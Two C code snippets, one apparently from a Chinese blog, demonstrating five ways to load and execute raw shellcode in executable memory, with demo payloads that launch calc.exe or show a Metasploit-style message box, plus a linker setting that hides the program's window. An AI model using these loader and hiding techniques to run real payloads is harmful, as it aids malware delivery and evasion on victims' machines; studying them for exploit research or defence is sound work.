refer:https://github.com/VeroFess/shellcode_loader/blob/master/loader.c
#include <stdio.h> #ifdef _MSC_VER #define forceinline __forceinline #elif defined __GNUC__ #define forceinline __inline__ __attribute__((always_inline)) #else #define forceinline #endif #ifdef linux #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <string.h> #ifdef __x86_64__ #define __VM_X64 #elif __i386__ #define __VM_X32 #endif forceinline void * __runable_malloc(int size) { int fd = open("/dev/zero", O_RDONLY); void * ret = mmap(NULL, size, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE, fd, 0); close(fd); return ret; } #else #include <Windows.h> #ifdef _WIN64 #define __VM_X64 #else #define __VM_X32 #endif forceinline void * __runable_malloc(int size) { return VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); } #endif forceinline void * __makefuncttion(unsigned char * shellcode, int len) { void * address_shellcode = __runable_malloc(len + 1); memcpy((char *)address_shellcode, shellcode, len); *((char *)address_shellcode + len) = 0xc3; return address_shellcode; } int main() { typedef unsigned long(*func)(); #ifdef __VM_X64 unsigned char shellcode[] = { 0x48,0xC7,0xC0,0x01,0x00,0x00,0x00 }; #else unsigned char shellcode[] = { 0xb8,0x01,0x00,0x00,0x00 }; #endif func fun = (func)__makefuncttion(shellcode, sizeof(shellcode)); int ret = fun(); printf("ret is : %d\n", ret); getchar(); return 0; }
refer:http://blog.csdn.net/earbao/article/details/51539882
//C语言执行shellcode的五种方法 #include <windows.h> #include <stdio.h> //data段可读写 #pragma comment(linker, "/section:.data,RWE") //不显示窗口 #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") #pragma comment(linker, "/INCREMENTAL:NO") //一段打开Windows计算器(calc.exe)的shellcode unsigned char shellcode_calc[] = "\xb8\x82\x0a\x8d\x38\xd9\xc6\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x23" "\x31\x42\x12\x83\xea\xfc\x03\xc0\x04\x6f\xcd\x38\xf0\x2b\x2e\xc0" "\x01\x3f\x6b\xfc\x8a\x43\x71\x84\x8d\x54\xf2\x3b\x96\x21\x5a\xe3" "\xa7\xde\x2c\x68\x93\xab\xae\x80\xed\x6b\x29\xf0\x8a\xac\x3e\x0f" "\x52\xe6\xb2\x0e\x96\x1c\x38\x2b\x42\xc7\xc5\x3e\x8f\x8c\x99\xe4" "\x4e\x78\x43\x6f\x5c\x35\x07\x30\x41\xc8\xfc\x45\x65\x41\x03\xb2" "\x1f\x09\x20\x40\xe3\x83\xe8\x2c\x68\xa3\xd8\x29\xae\x5c\x15\xba" "\x6f\x91\xae\xcc\x73\x04\x3b\x44\x84\xbd\x35\x1f\x14\xf1\x46\x1f" "\x15\x79\x2e\x23\x4a\x4c\x59\x3b\x22\x27\x5d\x38\x0a\x4c\xce\x56" "\xf5\x6b\x0c\xd5\x61\x14\x2f\x93\x7c\x73\x2f\x44\xe3\x1a\xa3\xe9" "\xe4"; unsigned char shellcode[] = "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b" "\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b" "\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24" "\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a" "\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0" "\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c" "\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a" "\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2" "\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f" "\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52" "\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33" "\x32\x2e\x64\x68\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56" "\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52" "\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67\x65\x42" "\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3\x68\x58" "\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20\x68\x6f" "\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89" "\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"; typedef void (__stdcall *CODE) (); //http://rshell.blog.163.com/blog/static/41619170201110302937361/ //第一种方法 void RunShellCode_1() { PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) MessageBoxA(NULL, "申请内存失败", "提醒", MB_OK); if (!(memcpy(p, shellcode, sizeof(shellcode)))) MessageBoxA(NULL, "写内存失败", "提醒", MB_OK); CODE code =(CODE)p; code(); } //第二种方法 void RunShellCode_2() { ((void(*)(void))&shellcode)(); } //第三种方法 void RunShellCode_3() { __asm { lea eax, shellcode; jmp eax; } } //第四种方法 void RunShellCode_4() { __asm { mov eax, offset shellcode; jmp eax; } } //第五种方法 void RunShellCode_5() { __asm { mov eax, offset shellcode; _emit 0xFF; _emit 0xE0; } } void main() { //RunShellCode_1(); //RunShellCode_2(); //RunShellCode_3(); //RunShellCode_4(); RunShellCode_5(); }